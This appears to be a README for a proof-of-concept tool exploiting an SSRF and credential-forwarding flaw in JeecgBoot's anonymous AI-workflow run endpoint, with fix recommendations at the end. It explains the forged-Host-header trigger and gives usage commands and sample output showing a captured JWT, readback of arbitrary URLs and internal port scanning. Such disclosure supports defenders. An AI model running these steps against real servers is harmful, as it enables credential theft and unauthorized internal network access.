A proof-of-concept tool for reproducing the SSRF/credential forwarding vulnerability in JeecgBoot flow-run endpoints (including full-display exploitation)
> ⚠️ **This tool is intended solely for authorized security testing and educational purposes.** Unauthorized testing on target systems is illegal; users bear all resulting consequences. ---
| CVE Number | CVE-2026-126997 (disclosed on 2026-11-12) |
| Vulnerability Type | CWE-918 Server-Side Request Forgery (SSRF) |
| Location | `org/jeecg/modules/airag/flow/*` — `/airag/flow/run` endpoint, `RestTemplate.exchange` |
| CVSS Score | 5.5 ~ 7.3 (varies by scoring source) |
The `POST /airag/flow/run` endpoint is an anonymous endpoint annotated with `@IgnoreAuth`, allowing unrestricted execution of any enabled AI workflow. The **HTTP nodes** within these workflows (components of LiteFlow) receive server-initiated HTTP requests, leading to three critical issues:
1. The `{{domainURL}}` placeholder is derived from the request’s `Host` header; manipulating this header controls where server-side requests are directed.
2. The `{{param}}` placeholder is extracted from the anonymous request’s `inputParams`; when combined with parameterized workflows, it enables full control over arbitrary URLs.
3. `TokenUtils.getTokenByRequest` directly inserts the caller’s `X-Access-Token` into the forwarded request headers; this credential is then sent to the SSRF target, resulting in credential theft. Additionally, the HTTP nodes write the response’s `body` and `statusCode` to the workflow output, which is returned via the SSE response associated with the run. **Back-to-front SSRF** (allows direct reading of responses from internal services). By default, the “Example_Http Node” process included in the initialization library (ID `1900029596154232833`) uses a URL such as `{{domainURL}}`. Consequently, **Host-based SSRF can be triggered without any write permissions**. ## POC Files
> **Authentication boundary note (important)**: The CVE itself (SSRF combined with credential leakage) is **completely unauthenticated**—it can be reproduced using `poc_cve_2026_126997.py` without any accounts. The “Full URL exposure” (`_full.py`) serves as an **enhanced exploitation method**: the URL paths defined by the default process are hardcoded; to retrieve arbitrary URLs, one must first import a parameterized URL flow (`url={{url}}`), which requires an account for execution. This is not a prerequisite for triggering the CVE. | `poc_cve_2026_126997.py` | **Reproduction of the CVE core (unauthenticated)**: No accounts or imports needed; a forged Host triggers the default library process; built-in receivers display retranmission requests; parameters `-u` and `-p` can demonstrate credential theft (JWTs are received and automatically decoded by the receiver). | None (purely anonymous) |
| `poc_cve_2026_126997_full.py` | **Enhanced version**: Full URL exposure via importing a parameterized URL flow (`url={{url}}`); subsequent anonymous runs retrieve responses and status codes for **any URL**; on failure, it outputs a tri-state detection result (domain does not exist, port closed, connection timed out). | First import requires `airag:flow:add` privileges via an account (admin/aiadmin/vue3 level, one-time usage); in version 3.9.5, since `importFlow` lacks permission checks, any logged-in account suffices; after import, all subsequent executions remain anonymous. |
Both scripts rely solely on Python’s standard library.
### 1. Verification Mode (Anonymous, Host header pollution)
# The receiver automatically starts on the local machine; the Host header is set to point to it.
python3 poc_cve_2026_126997.py -t
# Demonstration of credential theft: The caller’s JWT is passed to the receiver along with the SSRF request.
python3 poc_cve_2026_126997.py -t -u test -p Passw0rd
[+] Received 1 connection request — CVE-2026-126997 successfully reproduced:
--- HIT 1: POST /jeecg-boot/test/jeecgDemo/add HTTP/1.1
X-Access-Token: eyJhbGciOiJIUzI1NiIs... [!!] External credentials belong to user: test (clientType=APP) — JWT was received by the receiver
### 2. Full disclosure mode (Reading from any URL)
# -au/-ap: Account used for the import process (only required once); -url: Full address to retrieve from the target server.
-url
# After importing, every trigger remains anonymous; --keep retains the process (automatically deleted after use by default).
# -u/-p optional: Trigger using a specified account (note: the JWT associated with this account is forwarded to the -url target).
[+] SSRF full disclosure successful, HTTP 200
------------------------------------------------------------ ```
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### III. Internal Network Scanning (Failure Modes and Conditions)
[!] Request sent but no response received — SSRF scan result: Port closed/rejected connection
[!] Target server response: ...Connection refused
- JeecgBoot 3.9.6 (official release package from jeecg-boot, default configuration, default initialization libraries)
- Verified: Anonymous SSRF, credential forwarding (JWT carried and decoded by authorized user), full URL readback capability
- In LiteFlow EL, the http component must be written as `http_tag('node_id')` (prefix of type name); pay attention during self-built processes;
- On version 3.9.6, importFlow has permission gates (`airag:flow:add`); full readback processes require one-time import;
- On version 3.9.5, importFlow lacks permission checks; any logged-in account can complete import and achieve anonymous exploitation thereafter. ## Fix Recommendations (for vendors/self-built users)
1. Remove `@IgnoreAuth` from `/airag/flow/run`;
2. Replace `{{domain_url}}` with a value sourced from trusted configuration; host header cannot be used as source;
3. Strip `X-Access-Token` and `X-Tenant-Id` from HTTP node forwarding requests;
4. Add checks for internal network blacklist/whitelist validation on target addresses of HTTP nodes. ## References
- [CVE-2026-126997 — CVE.org](
- [Rapid7 Vulnerability Database](
The full story
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